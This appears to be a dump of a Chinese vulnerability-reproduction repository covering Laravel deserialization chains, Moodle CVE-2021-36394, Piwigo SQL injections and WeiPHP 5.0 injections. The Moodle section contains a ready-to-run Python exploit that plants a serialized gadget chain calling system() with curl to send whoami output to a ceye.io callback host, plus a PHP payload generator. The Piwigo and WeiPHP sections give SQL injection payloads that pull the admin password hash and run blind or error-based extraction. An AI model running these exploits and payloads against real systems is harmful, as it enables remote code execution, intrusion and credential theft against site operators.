`src/Illuminate/Broadcasting/PendingBroadcast.php::__destruct()` ,然后以 `__call` 入手,这里使用的是 `src/Illuminate/Validation/Validator.php::__call()` ,我们看到这里的代码 73 | 74 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905194557.png) 75 | 76 | `$method` 是传进来的方法名,值为 `dispatch` ,`$parameters` 可控,`$method` 进入 `Str::snake` 进行一定的转换,然后返回,这里我们不用看代码,直接让 `dispatch` 进入得到返回值即可,不影响结果 77 | 78 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905195259.png) 79 | 80 | 可以看到,返回的 `$rule` 为空,接下来 `$this->extensions` 可控,我们进入 `$this->callExtension` 方法,第一个参数为空字符串,第二个参数可控 81 | 82 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905195450.png) 83 | 84 | 这里写的很明了,`$this->extensions` 可控,`$parameters` 也可控,直接可进入 `call_user_func_array($callback, $parameters);` ,并且可以命令执行 85 | 86 | ### 反序列化链3 87 | 88 | 同样的入口 `src/Illuminate/Broadcasting/PendingBroadcast.php::__destruct()` 89 | 90 | ``` 91 | public function __destruct() 92 | { 93 | $this->events->dispatch($this->event); 94 | } 95 | ``` 96 | 97 | 找到 `src/Illuminate/Bus/Dispatcher.php::dispatch($command)` 98 | 99 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905205855.png) 100 | 101 | 进入 `dispatchToQueue` 方法 102 | 103 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220905224039.png) 104 | 105 | `$this->queueResolver` 可控,`$connection` 由 `$command` 得到,`$command` 也是可控的,因此都是可控的,因此可以执行任意类,我们找到如下位置 106 | 107 | `Mockery\Loader\EvalLoader::load(MockDefinition $definition)` 108 | 109 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220919143348.png) 110 | 111 | 在这里,很容易知道,我们要找到一个 `MockDefinition` 的实例化对象,接下来进入 `getClassName` 方法 112 | 113 | ``` 114 | public function getClassName() 115 | { 116 | return $this->config->getName(); 117 | } 118 | ``` 119 | 120 | 找到任意一个存在 `getName` 方法的类加进来就可以了 121 | 122 | 最后会使用到 `getCode()` 方法来获取值,然后 `eval` 执行,控制 `$this->code` 就可以执行任意代码。 123 | 124 | ``` 125 | public function getCode() 126 | { 127 | return $this->code; 128 | } 129 | ``` 130 | 131 | 我在写链子的时候,`$command` 写的是另一个类,虽然某些版本可用,但是没法通杀,无奈最后用了 `phpggc` 中的 `RCE5` 中的,不得不说,该链子确实写的严谨,可以通杀所有版本。 132 | 133 | ## 0x03 漏洞复现 134 | 135 | 通过 `exp.php` 生成 `payload` ,然后直接打 136 | 137 | ![](https://gitee.com/d5shenwu/picgo/raw/master/img/20220904151025.png) 138 | 139 | 140 | 141 | ## 0x04 链接 142 | 143 | 目前在学代码审计,对此感兴趣的师傅可以加好友一起交流学习 144 | 145 | 环境与 `exp` 都可以在如下链接获取 146 | 147 | ### GitHub 148 | 149 | https://github.com/d5shenwu/php-unserialize-lib 150 | 151 | -------------------------------------------------------------------------------- /Moodle/CVE-2021-36394 Pre-Auth RCE in Moodle/README.md: -------------------------------------------------------------------------------- 1 | ## CVE-2021-36394 Pre-Auth RCE in Moodle 2 | 3 | ### 漏洞简介 4 | 5 | `Moodle` 是世界上最流行的学习管理系统。在几分钟内开始创建您的在线学习网站! 6 | 7 | `Moodle`的`Shibboleth`认证模块存在一个未授权远程代码执行漏洞。这在大学中被广泛使用,以允许来自一所大学的学生与其他大学进行身份验证,从而使他们能够参加外部课程并与其他人一起玩乐。 8 | 9 | ### 漏洞分析 10 | 11 | https://xz.aliyun.com/t/10383 12 | 13 | ### 环境搭建 14 | 15 | ``` 16 | git clone https://github.com/d5shenwu/poc-set 17 | cd "poc-set/CVE-2021-36394 Pre-Auth RCE in Moodle" 18 | docker-compose up -d 19 | ``` 20 | 21 | 然后进入 `docker` ,更改文件 `/var/www/html/moodle-3.11.0/config.php` 22 | 23 | ``` 24 | $CFG->wwwroot = 'http://127.0.0.1'; 25 | ``` 26 | 27 | 将上面的链接改为自己的,必须是真实地址 28 | 29 | ### 漏洞利用 30 | 31 | ``` 32 | python3 moodle_rce.py http://example.com 33 | ``` 34 | 35 | ![img](https://cdn.nlark.com/yuque/0/2021/png/22586461/1634477001713-fe9ed115-8d5c-4d85-af78-4c8a514dd861.png) 36 | 37 | -------------------------------------------------------------------------------- /Moodle/CVE-2021-36394 Pre-Auth RCE in Moodle/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | web: 4 | image: n0puple/moodle:3.11.0 5 | command: bash -c "service mysql start && service apache2 start && /bin/bash" 6 | ports: 7 | - "80:80" 8 | tty: true 9 | -------------------------------------------------------------------------------- /Moodle/CVE-2021-36394 Pre-Auth RCE in Moodle/moodle_rce.py: -------------------------------------------------------------------------------- 1 | # coding: utf8 2 | import requests 3 | import sys 4 | import re 5 | 6 | def run(url): 7 | ceye_rawurl = "xxxxx.ceye.io" 8 | ceye_token = "xxxxxxx9135d02bb2a9461b6b8d201" 9 | flag = url.replace("http://","").replace("https://","").replace(":","").replace("/","").replace("-","") 10 | if len(flag) > 20: 11 | flag = flag[:20] 12 | else: 13 | length = 20 - len(flag) 14 | flag += length*'a' 15 | 16 | r = requests.session() 17 | login_url = url + "/login/index.php" 18 | html = r.get(login_url).text 19 | logintoken = re.findall('', html)[0] 20 | print("[*] get logintoken " + logintoken) 21 | data1 = { 22 | "logintoken": logintoken, 23 | "username": "guest", 24 | "password": "guest" 25 | } 26 | r.post(login_url, data=data1) 27 | print("[*] login by guest") 28 | data2 = { 29 | "id": 1, 30 | "sifirst": 'Testaaaaa|a:2:{i:0;O:22:"core_question_external":0:{}i:1;O:14:"core\lock\lock":1:{s:3:"key";O:22:"core_availability\\tree":1:{s:8:"children";O:23:"core\dml\\recordset_walk":3:{s:9:"recordset";O:25:"question_attempt_iterator":2:{s:5:"slots";a:1:{s:3:"xxx";s:3:"key";}s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:3:"key";s:56:"curl http://aaaaaaaaaaaaaaaaaaaa.'.replace("aaaaaaaaaaaaaaaaaaaa",flag) + ceye_rawurl + '/`whoami`";}}}s:13:"callbackextra";N;s:8:"callback";s:6:"system";}}}}Testbbbbbb|' 31 | } 32 | write_url = url + "/grade/report/grader/index.php" 33 | r.post(write_url, data=data2) 34 | print("[*] write payload to session") 35 | data3 = ''' 36 | ssss 37 | ''' 38 | 39 | rce_url = url + "/auth/shibboleth/logout.php" 40 | requests.post(rce_url, data=data3) 41 | print("[*] start to unserialize session") 42 | 43 | ceye_url = "http://api.ceye.io/v1/records?token=" + ceye_token + "&type=http&filter=" + flag 44 | rsp = requests.get(ceye_url, timeout=30).json() 45 | if len(rsp["data"]) > 0: 46 | print("[+] you get shell") 47 | else: 48 | print("[-] target is not vulnerable") 49 | 50 | if __name__ == '__main__': 51 | if len(sys.argv) < 2: 52 | print("[!] Usage: python3 moodle_rce.py http://x.x.x.x") 53 | exit(0) 54 | url = sys.argv[1] 55 | run(url) 56 | -------------------------------------------------------------------------------- /Moodle/CVE-2021-36394 Pre-Auth RCE in Moodle/moodle_unserialize_rce.php: -------------------------------------------------------------------------------- 1 | key = $class; 8 | } 9 | } 10 | } 11 | 12 | namespace core_availability{ 13 | class tree { 14 | public function __construct($class) 15 | { 16 | $this->children = $class; 17 | } 18 | } 19 | } 20 | 21 | namespace core\dml{ 22 | class recordset_walk { 23 | public function __construct($class) 24 | { 25 | $this->recordset = $class; 26 | $this->callbackextra = null; 27 | $this->callback = "system"; 28 | 29 | } 30 | } 31 | } 32 | 33 | namespace { 34 | 35 | class question_attempt_iterator{ 36 | public function __construct($class) 37 | { 38 | $this->slots = array( 39 | "xxx" => "key" 40 | ); 41 | $this->quba = $class; 42 | } 43 | } 44 | 45 | class question_usage_by_activity{ 46 | public function __construct() 47 | { 48 | $this->questionattempts = array( 49 | "key" => "whoami" 50 | ); 51 | } 52 | } 53 | 54 | class core_question_external{ 55 | 56 | } 57 | 58 | $add_lib = new core_question_external(); 59 | $activity = new question_usage_by_activity(); 60 | $iterator = new question_attempt_iterator($activity); 61 | $walk = new core\dml\recordset_walk($iterator); 62 | $tree = new core_availability\tree($walk); 63 | $lock = new core\lock\lock($tree); 64 | 65 | $arr = array($add_lib, $lock); 66 | 67 | $value = serialize($arr); 68 | 69 | echo $value; 70 | } 71 | -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266.md: -------------------------------------------------------------------------------- 1 | # Piwigo_12.2.0_SQL注入_CVE-2022-26266 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 0x00 漏洞描述 6 | 7 | `Piwigo` 在 12.2.0 版本的 `pwg.users.php` 文件中发现一枚`SQL` 注入漏洞,可通过该漏洞获取数据库中的数据。 8 | 9 | ## 0x01 漏洞环境 10 | 11 | `Piwigo` 可以通过 `github` 或者其官网下载。 12 | 13 | `github` 地址:https://github.com/Piwigo/Piwigo 14 | 15 | 官网:https://piwigo.org/ 16 | 17 | ## 0x02 漏洞分析 18 | 19 | `cve` 官方漏洞描述中已经点出漏洞文件为 `pwg.users.php` ,我们直接看到这里,位于 `include/ws_functions/pwg.users.php` 20 | 21 | 这里很多数据库操作,而且很多都是在拼接,出现注入的概率确实挺大的。 22 | 23 | 这个文件全都是函数,也就是说我们无法直接访问到这里,因此现在需要做的是找到调用的位置 24 | 25 | 第一个函数是 `ws_users_getList` ,直接全局搜索该函数 26 | 27 | ![image-20221117221711630](Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117221711630.png) 28 | 29 | 在这里的 `ws.php` 中,`ws_users_getList` 被 `addMethod` 添加到 `$service` 的 `method` 列表中,实际上这里是 `piwigo` 自身定义的访问模式,这里就不细讲了,大概就是将一些路由与函数绑定在一起,当出现访问时,通过回调的方式去访问。 30 | 31 | 要想访问 `ws_users_getList` ,我们只需要访问 `ws.php` ,并 `get` 一个 `method` 参数,值为 `pwg.users.getList` 即可。 32 | 33 | 我们再回来看这个 `ws_users_getList` 的内容 34 | 35 | ![image-20221117224118489](Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117224118489.png) 36 | 37 | `$params` 中存放的是我们请求的值与系统默认的一些值,看到上图,当我们的输入中带有单引号等特殊字符时,会自动转义,这是系统对输入值的过滤,不允许直接输入单双引号等危险字符。如上很多的拼接字符串都使用不了,因为他们都需要闭合前面的引号,我们只能找可以直接拼接而不用闭合引号的参数。 38 | 39 | `order by` 是常用的突破点,我们直接找到此处 208 行,并在输入中输入 `order` 参数 40 | 41 | ![image-20221117224722221](Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117224722221.png) 42 | 43 | 这里我们不用闭合单引号,因此可以直接对其进行注入 44 | 45 | ## 0x03 漏洞复现 46 | 47 | 本漏洞需要登录后台利用,登录后如下点击 48 | 49 | ``` 50 | 用户 -> 管理 -> 用户列表 51 | ``` 52 | 53 | ![image-20221117220404252](Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220404252.png) 54 | 55 | 抓包,但是放掉第一个包,进入第二个包如下 56 | 57 | ![image-20221117220555569](Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220555569.png) 58 | 59 | 这里并没有 `order` 参数,我们添加进去即可,之后发包可见报错 60 | 61 | ![image-20221117220751998](Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220751998.png) 62 | 63 | 仅验证,点到即止 64 | 65 | ## 0x04 总结 66 | 67 | 这个漏洞比较简单,也是一个比较好发现注入漏洞的地方,相对来说 `order by` 被关注的几率相对较小。 68 | 69 | -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220404252.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220404252.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220555569.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220555569.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220751998.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117220751998.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117221711630.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117221711630.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117223943995.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117223943995.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117224118489.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117224118489.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117224722221.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-26266/image-20221117224722221.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297.md: -------------------------------------------------------------------------------- 1 | # Piwigo_12.2.0_SQL注入_CVE-2022-32297 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 0x00 漏洞描述 6 | 7 | `Piwigo` 在 12.2.0 版本的搜索功能中存在一个二次`SQL` 注入漏洞,该漏洞可以从前台获取数据库中的数据。 8 | 9 | ## 0x01 漏洞环境 10 | 11 | `Piwigo` 可以通过 `github` 或者其官网下载。 12 | 13 | `github` 地址:https://github.com/Piwigo/Piwigo 14 | 15 | 官网:https://piwigo.org/ 16 | 17 | ## 0x02 漏洞分析 18 | 19 | ### 数据插入部分分析 20 | 21 | 我们先来到前台搜索处,随意搜索,然后抓包查看,这里游客身份进入即可 22 | 23 | 通过抓包,我们可以抓到处理搜索功能的文件为 `qsearch.php` ,进入后直接下断点 24 | 25 | ![image-20221117233046830](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233046830.png) 26 | 27 | 顺利进入该文件,跟进代码,看之后经历的操作,根据网上的信息,该漏洞为二次注入漏洞,因此可以格外关注 `insert into` 的数据库操作。 28 | 29 | 从上面的图中可以看到搜索的参数为 `q` ,而在代码中也有体现 30 | 31 | ![image-20221117233335010](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233335010.png) 32 | 33 | 这里实际上就是根据搜索的 `q` 得到 `search` 数组,序列化数组并用 `addslashes` 处理后查找,存在该搜索就更新,不存在就插入,成功插入后返回搜索的 `id` ,这里序列化操作后 `addslashes` 处理了,因此不存在直接的注入漏洞。 34 | 35 | 这里先简单说一下,其余的部分在后面写出来 36 | 37 | ### 管理员操作部分 38 | 39 | 插入值后,寻找该值被使用的位置,直接可以搜索 `SEARCH_TABLE` 40 | 41 | ![image-20221117233902452](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233902452.png) 42 | 43 | 调用的位置不多,可以一个个看,主要关注取值的位置,来到 `admin/history.php` ,根据取值的位置找到如下代码 44 | 45 | ![image-20221117234121204](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117234121204.png) 46 | 47 | 当存在`get` 的参数中存在 `search_id` 时,就会根据 `search_id` 查找 `rules` ,从上一部分的分析来看,这个 `rules` 是被序列化后的查询数据,我们也可以通过直接去看数据库内容看出来 48 | 49 | ![image-20221118231419112](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221118231419112.png) 50 | 51 | 取出来的值直接反序列化,得到 `$page['search']` ,当 `get` 的参数中还存在 `user_id` 时,则会将 `$page['search']` 序列化后再次插入数据库中,但是这里的序列化数据并没有进行处理,也就是说数据里面存在单引号等就可以直接闭合,刚好这里的数据是我们可以利用第一部分的搜索操作控制的,因此造成了一个二次注入。 52 | 53 | 这里的构造需要很巧妙,既要闭合 `SQL` 操作,又要通过序列化操作,不得不说这个漏洞发现者很强,在此之前我是想不到还可以这样玩的。 54 | 55 | 这里简单说一下构造,因为 `insert` 是支持一次性插入多条数据的,通过逗号隔开即可,我们第一步的搜索语句中,插入时存在 `addslashes` ,因此插进去时是什么样子,拿出来也会是什么样子,这里一部分先闭合,随意给一个值即可,比如给一个 `test'` ,此处 `insert` 只有一个字段,因此必须先闭合括号,然后开启插入的第二个数据,写一下大概就是如下 56 | 57 | ``` 58 | test'), 59 | ``` 60 | 61 | 由于这个字段的数据都是序列化后的,因此我们必须满足序列化的规则才方便被正常取出,我们先构造一个获取管理员密码的语句如下: 62 | 63 | ``` 64 | SELECT password FROM piwigo_users where id=1 65 | ``` 66 | 67 | 使用这条语句获取到密码后,再将其放入模板中 68 | 69 | ``` 70 | a:1:{s:1:"q";s:4:"xxxx";} 71 | ``` 72 | 73 | `xxxx` 就是我们获取到的密文,前面的4跟随密文长度变化,我看了下,这里加密方式产出的密文好像都是 34 位,因此这里直接设 34。 74 | 75 | 密码获取需要通过上面的语句获取,使用 `concat` 拼接获取,配合前面的内容得到 76 | 77 | ``` 78 | test'),((select concat('a:1:{s:1:"q";s:34:"',(SELECT password FROM piwigo_users where id=1),'";}')))# 79 | ``` 80 | 81 | 构造如上 `payload` ,通过前台搜索功能插入后,在这里就可以获取到密文,并将密文存储到数据库中 82 | 83 | ### 访问前台获取密码 84 | 85 | 接下来是获取该数据库内容,因此涉及的数据库仍然是刚刚的数据库,可以继续搜索 `SEARCH_TABLE` ,找到一处前台获取该数据库内容的位置,位于 `include/functions_search.inc.php` 86 | 87 | ![image-20221121204114680](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204114680.png) 88 | 89 | 这里是一个函数,直接根据 `$search_id` 搜索,然后反序列化 `rules` 后返回,我们看看调用位置 90 | 91 | ![image-20221121204231387](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204231387.png) 92 | 93 | 定位到 `search_rules.php` 94 | 95 | ![image-20221121204308272](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204308272.png) 96 | 97 | 比较简单就知道可以成功获取。 98 | 99 | ## 0x03 漏洞复现 100 | 101 | ### 将payload通过前台插入数据库 102 | 103 | 按照之前说的注入 104 | 105 | ![image-20221121204807619](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204807619.png) 106 | 107 | 记录返回的 `id` 值,对应插入记录的 `id` 108 | 109 | 但是发现之后的利用会出错,这是为什么呢?按照前面说的,这里的 `q` 写入的是什么,之后获取就应该是那个值,但是 `$_GET` 在利用前实际上会被处理一次,位于 `include/common.inc.php` ,这是文件开头就会调用的 110 | 111 | ![image-20221121215142137](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215142137.png) 112 | 113 | 因此我们这里写入的 `payload` 中的单引号会被加上 `\` ,就像上面图中的数据库 一样 114 | 115 | 这里的解决方法是将参数 `q` 作为一个数组写入,数组的键为 `payload` ,而 之后的处理由于是序列化,因此这个键也会被写入,之后取出来也适用。 116 | 117 | ![image-20221121215634944](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215634944.png) 118 | 119 | 如此,进入数据库的值就不会被转义了 120 | 121 | ### 管理员用户点击该漏洞链接 122 | 123 | 此操作需要管理员权限 124 | 125 | ![image-20221121215728409](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215728409.png) 126 | 127 | 可以看到,执行完后,会在数据库中生成两条记录,其中一条就获取到了密文 128 | 129 | ### 攻击者前台访问获取密码 130 | 131 | 这里唯一需要注意的一点是我们需要知道 `search_id` ,也就是插入的那条含有密文的数据的 `id` 值 132 | 133 | ![image-20221121220108758](Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121220108758.png) 134 | 135 | ## 0x04 总结 136 | 137 | 本漏洞比较难以发现,虽然需要管理员用户点击,但用户可以从前台获取到数据,相对来说会比 `CVE-2022-26266` 的危害更加大。这个漏洞让我想起了 `Laravel` `Debug` 漏洞,同样是取出来后又放进去,从而导致了漏洞,虽然造成漏洞的本质并不一样,但有着异曲同工之妙。 138 | -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233046830.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233046830.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233335010.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233335010.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233902452.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117233902452.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117234121204.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221117234121204.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221118231419112.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221118231419112.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204114680.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204114680.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204231387.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204231387.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204308272.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204308272.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204807619.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121204807619.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215142137.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215142137.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215634944.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215634944.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215728409.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121215728409.png -------------------------------------------------------------------------------- /Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121220108758.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d5shenwu/VulPOC/99ff61c2ced10d57da368d3a852ba13e02616e00/Piwigo/Piwigo_12.2.0_SQL注入_CVE-2022-32297/image-20221121220108758.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # VulPOC 2 | 3 | ## 0x00 简介 4 | 5 | `VulPOC` 用于记录本人复现过的漏洞 6 | 7 | 目前在学代码审计,对此感兴趣的师傅可以加好友一起交流学习 8 | 9 | 10 | 11 | 12 | ## 0x02 免责申明 13 | 此内容仅供学习交流使用,不用于非法用途。 -------------------------------------------------------------------------------- /WeiPHP/WeiPHP5.0 SQL注入漏洞1.md: -------------------------------------------------------------------------------- 1 | # WeiPHP5.0 SQL注入漏洞1 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | `WeiPHP5.0`是在2019年停止更新的一个系统,漏洞挺多的,跟着复现分析一下,这里复现一下 `WeiPHP5.0`的一处`SQL`注入漏洞 8 | 9 | ## 漏洞影响 10 | 11 | `WeiPHP5.0`最新版 12 | 13 | 可以据此下载 14 | 15 | https://www.weiphp.cn/doc/download_source_installation.html 16 | 17 | ## 漏洞复现 18 | 19 | 需要一个普通用户权限登录(好像也可以不用),然后访问链接并抓包 20 | 21 | ```php 22 | /index.php/material/Material/material_lists 23 | title=aa%27or%20sleep(5)%23 24 | ``` 25 | 26 | 不登录时需要使用 `post` ,如果使用 `get`会直接跳转,然后进行延时操作,注意右下角 27 | 28 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650814616996-67b8d17c-1b34-4b28-aec0-86d0e6b724fc.png) 29 | 30 | 用 `sqlmap`跑 31 | 32 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1650894325627-aae86b37-51e3-4a20-b61b-a5587045462a.png) 33 | 34 | ## 总结 35 | 36 | 关于这个权限问题,实际上不用任何用户登录也是可以注入的,但必须使用 `post`的时候才可以。由于后面还有其他的数据库操作语句,这里只好使用盲注。 37 | 38 | ## 参考链接 39 | 40 | - https://igml.top/2019/10/30/weiphp5-0/ 41 | 42 | 43 | 44 | `github` 链接:`https://github.com/d5shenwu/vulPOC` 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /WeiPHP/WeiPHP5.0 SQL注入漏洞2.md: -------------------------------------------------------------------------------- 1 | # WeiPHP5.0 SQL注入漏洞2 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 漏洞描述 6 | 7 | `WeiPHP5.0`是在2019年停止更新的一个系统,漏洞挺多的,跟着复现分析一下,前面分析了一处由于拼接造成的注入,这里复现一下 `WeiPHP5.0`的另一个`SQL`注入漏洞 8 | 9 | ## 漏洞影响 10 | 11 | `WeiPHP5.0`最新版 12 | 13 | 可以据此下载 14 | 15 | https://www.weiphp.cn/doc/download_source_installation.html 16 | 17 | ## 漏洞复现 18 | 19 | 访问如下链接并抓包 20 | 21 | ```php 22 | /index.php/home/Index/bind_follow 23 | publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5(%271%27),0x7e),1)--+ 24 | ``` 25 | 26 | `post`或者 `get`都可以,这里开了调试模式,因此可以使用报错注入 27 | 28 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1651839360763-e1b05583-a112-4ff3-bf03-6e571b9450f5.png) 29 | 30 | 爆用户名 31 | 32 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1651839676508-25cdbda5-2cad-4080-b45f-9e94302caf65.png) 33 | 34 | 爆数据库 35 | 36 | ![img](https://cdn.nlark.com/yuque/0/2022/png/22586461/1651839709664-0e27aa69-95a8-467c-91c4-7aeae4325a1c.png) 37 | 38 | ## 总结 39 | 40 | 之前对于 `thinkphp`开发的系统很少去弄 `SQL`相关的分析,因为觉得 `thinkphp`可能做得比较完美了,但经过这一次的分析,觉得还是很有开发的潜力。 41 | 42 | ## 参考链接 43 | 44 | - 